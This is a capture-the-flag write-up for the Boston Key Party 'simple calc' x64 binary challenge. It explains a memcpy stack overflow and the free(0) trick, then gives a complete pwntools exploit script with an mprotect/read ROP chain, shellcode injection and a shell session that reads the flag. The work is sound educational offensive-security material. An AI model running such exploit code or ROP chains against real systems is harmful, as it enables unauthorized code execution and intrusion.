### Solved by Swappage and superkojiman
simple calc is an x64 ELF Binary exploitation challenge, the objective was to pop a shell and read the flag.
The application starts by printing a welcome message and asking us how many calculations we are planning to do with the program.
    0x004013d5    e899ffffff   call sym.print_motd       0x00401373() ; sym.print_motd    0x004013da    bfd0434900   mov edi, str.Expectednumberofcalculations    0x004013df    b800000000   mov eax, 0x0    0x004013e4    e8a76f0000   call sym._IO_printf       0x00408390() ; sym.__printf    0x004013e9    488d45ec     lea rax, [rbp-0x14]    0x004013ed    4889c6       mov rsi, rax    0x004013f0    bf14424900   mov edi, 0x494214    0x004013f5    b800000000   mov eax, 0x0    0x004013fa    e8c1700000   call sym.__isoc99_scanf
      |#------------------------------------#|      |         Something Calculator         |      |#------------------------------------#|
      Expected number of calculations:
and after a couple of checks, it allocates a number of words equal to the amount of iterations we are planning to make
    |    0x00401425    b800000000   mov eax, 0x0    |    0x0040142a    e959010000   jmp 0x401588    `--> 0x0040142f    8b45ec       mov eax, [rbp-0x14]         0x00401432    c1e002       shl eax, 0x2         0x00401435    4898         cdqe         0x00401437    4889c7       mov rdi, rax         0x0040143a    e8113c0100   call sym.__libc_malloc
at this point the applications asks what operation we want to make
    Options Menu:     [1] Addition.     [2] Subtraction.     [3] Multiplication.     [4] Division.     [5] Save and Exit.    =>
and based on the operation we chose, it asks for two numbers and performs the operation on them, providing the result to the user and storing it on the heap area that was previously allocated using **malloc()**
chosing the option 5 is where magic happens, because we enter in abranch of code that does the following:
    0x0040152e    8b45ec       mov eax, [rbp-0x14]    0x00401531    c1e002       shl eax, 0x2    0x00401534    4863d0       movsxd rdx, eax    0x00401537    488b4df0     mov rcx, [rbp-0x10]    0x0040153b    488d45c0     lea rax, [rbp-0x40]    0x0040153f    4889ce       mov rsi, rcx    0x00401542    4889c7       mov rdi, rax    0x00401545    e886130200   call sym.memcpy    0x004228d0() ; sym.memcpy    0x0040154a    488b45f0     mov rax, [rbp-0x10]    0x0040154e    4889c7       mov rdi, rax    0x00401551    e87a410100   call sym.free    0x004156d0() ; sym.__cfree    0x00401556    b800000000   mov eax, 0x0    0x0040155b    eb2b         jmp 0x401588
Essentially what happens here is that
- the area of memory allocated in the heap is copied on the stack using **memcpy()**- then free() is called- finally the main() function returns.
But since there is no boundary check, if we allocate a big enough chunk of memory on the heap, when memcpy() is invoked what happens is that the stack is smashed badly; plus with the fact that by doing arbitrary math operations we can chose what goes on the heap, this means we can overwrite saved registers values on the stack with arbitrary addresses, resulting in a control of the instruction pointer.
As we can see in the following memory dumps of the heap and stack
    gdb-peda$ x/32wx 0x725bd0    0x725bd0:	0x41414141	0x41414142	0x41414143	0x41414144    0x725be0:	0x41414145	0x41414146	0x41414147	0x41414148    0x725bf0:	0x41414149	0x4141414a	0x4141414b	0x4141414c    0x725c00:	0x4141414d	0x00000000	0x00000000	0x00000000    0x725c10:	0x00000000	0x00000000	0x00000000	0x00000000    0x725c20:	0x00000000	0x00000000	0x00000000	0x00000000    0x725c30:	0x00000000	0x00000000	0x00000000	0x00000000    0x725c40:	0x00000000	0x00000000	0x00000000	0x00000000
    0x7ffe47681940:	0x00000001	0x00000000	0x00000001	0x00000000    0x7ffe47681950:	0x47681a68	0x00007ffe	0x00401c77	0x00000000    0x7ffe47681960:	0x004002b0	0x00000000	0x00000005	0x000000be    0x7ffe47681970:	0x00bcabd0	0x00000000	0x00401c00	0x0000005a    0x7ffe47681980:	0x006c1018	0x00000000	0x0040176c	0x00000000    0x7ffe47681990:	0x00000000	0x00000000	0x00000000	0x00000001    0x7ffe476819a0:	0x47681a68	0x00007ffe	0x00401383	0x00000000    0x7ffe476819b0:	0x004002b0	0x00000000	0x0aa3d5f9	0xf71192f8
when memcpy() is called our pointers are going to be overwritten
    => 0x401545 <main+450>:	call   0x4228d0 <memcpy>       0x40154a <main+455>:	mov    rax,QWORD PTR [rbp-0x10]       0x40154e <main+459>:	mov    rdi,rax       0x401551 <main+462>:	call   0x4156d0 <free>       0x401556 <main+467>:	mov    eax,0x0    Guessed arguments:    arg[0]: 0x7ffe47681940 --> 0x1    arg[1]: 0xbcabd0 ("AA...")    arg[2]: 0x2f8    arg[3]: 0xbcabd0 ("AAAA..."...)
the only problem that remains to overcome is the fact that these set of instructions is called before the main function returns
    0x40154a <main+455>:	mov    rax,QWORD PTR [rbp-0x10]    0x40154e <main+459>:	mov    rdi,rax    0x401551 <main+462>:	call   0x4156d0 <free>
if we don't have a proper buffer, free() would receive an invalid address and throw an ABORT signal causing our exploitation process to fail.
This can be easily circumvented by manipulating the buffer in such a way that 0 is passed as an argument to free()
In fact free() can accept 0 as arguments, and this simply means the function does nothing. (nice find from superkojiman)
at this point main will return into our buffer and we are in control of RIP.
From here on what remains to do is to build a ROP chain that would spawn a shell.
superkojiman set up a mprotect() + read() ROP chain using the statically linked functions and after some troubles caused by buffer alignment issues he managed to smoothly pop a shell on the system to read the flag
The following is our final exploit.
```python#!/usr/bin/env python
from pwn import *
context(arch="amd64", os="linux")
def add_align():    # align address    r.send("2\n")    print r.recv()    r.send("12345678\n")    print r.recv()    r.send("12345678\n")    print r.recv()
#r = remote("localhost", 2323)r = remote("simplecalc.bostonkey.party", 5400)
print r.recv()r.send("190\n")print r.recv()
#x + y = 1094795585 == 0x41414141x = 85y = 1094795500
# subtract so when free is called, we get free(0) which is validfor a in range(0, 14):    r.send("2\n")    print r.recv()    r.send("12345678\n")    print r.recv()    r.send("12345678\n")    print r.recv()
# padding to get to RIPfor a in range(0, 4):    r.send("1\n")    print r.recv()    r.send(str(x)+"\n")    print r.recv()    r.send("1094795500\n")    print r.recv()    x = x + 1
"""ROP gadgets0x0000000000474c6a: pop rax; ret;0x0000000000493fef: pop rdi; ret;0x00000000004ac9b8: pop rsi; ret;0x0000000000437a85: pop rdx; ret;0x0000000000437aa9: pop rdx; pop rsi; ret;0x0000000000467f95: syscall; ret;"""
# RIP overwrite here
#__[start mprotect ROP chain]__#r.send("1\n")print r.recv()r.send("12345\n")print r.recv()#r.send("1094795500\n")r.send("4788150\n")         # 12345 + 4788150 = 0x493fef ; pop rdi; retprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("7077803\n")         # 85 + 7077803 = 0x6c0000 ; addr to mprotect rwxprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4409968\n")         # 12345 + 4409968 = 0x437aa9 ; pop rdx; pop rsi; retprint r.recv()
add_align()
r.send("2\n")print r.recv()r.send("12352\n")print r.recv()r.send("12345\n")         # 12352 - 12345 = 7 ; rwxprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("12203\n")         # 85 + 12203 = 0x3000 ; len to mprotectprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4660273\n")         # 12345 + 4660273 = 0x474c6a ; pop rax; pop rsi; retprint r.recv()
add_align()
r.send("2\n")print r.recv()r.send("12345\n")print r.recv()r.send("12335\n")         # 12345 - 12335 = 10 ; sys_mprotectprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4607836\n")         # 12345 + 4607836 = 0x467f95: syscall; ret;print r.recv()#__[end mprotect ROP chain]__#
#__[start read ROP chain]__#add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()#r.send("1094795500\n")r.send("4788150\n")         # 12345 + 4788150 = 0x493fef ; pop rdi; retprint r.recv()
add_align()add_align()                 # reuse this to set rdi (stdin) = 0add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4409968\n")         # 12345 + 4409968 = 0x437aa9 ; pop rdx; pop rsi; retprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("12203\n")         # 85 + 12203 = 0x3000 ; len to readprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("7077803\n")         # 85 + 7077803 = 0x6c0000 ; addr to store data toprint r.recv()
add_align()
r.send("1\n")print r.recv()r.send("12345\n")print r.recv()r.send("4607836\n")         # 12345 + 4607836 = 0x467f95: syscall; ret;print r.recv()
add_align()
r.send("1\n")print r.recv()r.send("85\n")print r.recv()r.send("7077803\n")         # 85 + 7077803 = 0x6c0000 ; return to payloadprint r.recv()
#__[end read ROP chain]__#
r.send("5\n");
print "Press ENTER to send shellcode"raw_input()r.send(asm(shellcraft.linux.sh() + "\n"))
r.interactive()
```
and here we see it in action.
    # ./sploit.py    [+] Opening connection to simplecalc.bostonkey.party on port 5400: Done
        |#------------------------------------#|        |         Something Calculator         |        |#------------------------------------#|
    Expected number of calculations:    Options Menu:     [1] Addition.     [2] Subtraction.     [3] Multiplication.     [4] Division.     [5] Save and Exit.    =>    Integer x:    Integer y:    Result for x - y is 0.    .    .    .    [*] Switching to interactive mode    Integer y: Result for x + y is 7077888.
    Options Menu:     [1] Addition.     [2] Subtraction.     [3] Multiplication.     [4] Division.     [5] Save and Exit.    => $ id    uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)    $ ls -la    total 2052    drwxr-xr-x 2 calc calc   4096 Mar  5 03:24 .    drwxr-xr-x 3 root root   4096 Mar  4 05:04 ..    -rw-r--r-- 1 calc calc    220 Mar  4 05:04 .bash_logout    -rw-r--r-- 1 calc calc   3637 Mar  4 05:04 .bashrc    -rw-r--r-- 1 calc calc    675 Mar  4 05:04 .profile    -rw-r--r-- 1 root root     32 Mar  4 05:23 key    -rwxr-xr-x 1 root root     80 Mar  5 03:24 run.sh    -rwxrwxr-x 1 calc calc 882266 Mar  5 03:24 simpleCalc    -rwxrwxr-x 1 calc calc 882266 Mar  5 03:23 simpleCalc_v2    -rw-r--r-- 1 root root 302348 Feb  1  2014 socat_1.7.2.3-1_amd64.deb    $ cat key    BKPCTF{what_is_2015_minus_7547}    [*] Got EOF while reading in interactive    ###
the flag is **BKPCTF{what_is_2015_minus_7547}**